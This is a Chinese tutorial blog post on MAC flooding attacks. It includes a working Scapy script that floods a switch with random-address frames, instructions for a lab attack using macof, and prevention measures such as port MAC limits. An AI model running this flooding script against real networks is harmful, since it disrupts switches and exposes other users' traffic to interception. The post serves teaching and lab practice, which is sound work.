MAC泛洪攻击

本文介绍了一种网络攻击手段——MAC泛洪攻击,并通过Python脚本详细展示了如何利用Scapy库构造并发送用于MAC泛洪的数据包,进而使交换机的CAM表溢出,导致正常的单播流量被错误地作为广播流量处理。

PC不断发送去往未知目的地的数据帧,且每个包的源MAC地址都不同,当这样的数据包发送的速度足够快之后,快到在刷新时间内将交换机的地址表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。 在刷新前不能容纳更多的mac地址池 


尝试用python编写一个攻击脚本

首先用scapy这个模块,这个模块中有RandIP RandMAC两个函数

from scapy.all import *


print RandMAC()

print RandIP(“192.168.0.*”)#指定网段

    

接下来发送形式如下ARP包

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))


import sys

from scapy.all import *

import time

 

iface="eth0"

if len(sys.argv)>=2:

    iface=sys.argv[1]

while(1):

    packet= Ether(src=RandMAC("*:*:*:*:*:*"),

                  dst=RandMAC("*:*:*:*:*:*")) / \

    IP(src=RandIP("*.*.*.*"),

    dst=RandIP("*.*.*.*")) / \

    ICMP()

    time.sleep(0.5)

    sendp(packet,iface=iface,loop=0)


MAC系统下进行泛洪攻击模拟实验,可参考通用的泛洪攻击实验原理和部分步骤,因为MAC系统属于类Unix系统,在命令使用上有一定通用性。 泛洪攻击利用了交换机的MAC学习机制、MAC项的数据限制和交换机的转发机制。原理是攻击机向交换机发送多个不同MAC地址的数据包,交换机的MAC学习机制会学习收集到的MAC地址,MAC地址满了之后,交换机发数据会以广播的形式,从而也将数据发送给了攻击机[^2]。 ### 实验准备 - **工具**:可使用类似在Kali系统中常用的`macof`工具,MAC系统可通过Homebrew等包管理工具来安装支持泛洪攻击模拟的工具。如果没有`macof`,可考虑使用支持网络数据包伪造和发送的工具。 - **网络环境**:需要搭建网络拓扑,例如使用模拟器(如果有支持MAC系统的模拟器)或真实的网络设备。包含交换机、终端(如Client和Server)等。给Client和Server配置IP地址、子网掩码、网关,如Client的ip为192.168.133.10,子网掩码为255.255.255.0,网关为192.168.133.254;Server的ip为192.168.133.20,子网掩码为255.255.255.0,网关为192.168.133.254 ,并测试连通性,可在Server上ping Client的IP地址 [^2]。 ### 实验步骤 1. **查看交换机初始MAC地址**:在进行攻击前,查看交换机的MAC地址,此时地址数量较少。 2. **配置MAC系统网络**:将MAC系统的网络连接设置为合适的模式,类似Kali的仅主机模式(使用特定网卡)。 3. **发起泛洪攻击**:如果安装了`macof`工具,可在终端输入`macof`命令开始进行泛洪攻击。若使用其他工具,按照其使用说明进行大量伪造MAC地址数据包的发送。 4. **验证攻击结果**:再次查看交换机的MAC地址,若中有很多地址,证明泛洪攻击成功。 ### 泛洪攻击的预防 - 配置静态MAC转发,这样可以固定MAC地址和端口的绑定,防止伪造MAC地址的数据包影响正常转发。 - 配置端口的MAC学习数目限制,限制每个端口可学习的MAC地址数量,避免MAC被大量伪造地址填满 [^2]。 ### 代码示例(假设使用macof) ```bash # 若macof未安装,可参考使用包管理工具安装 # 发起泛洪攻击 macof ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值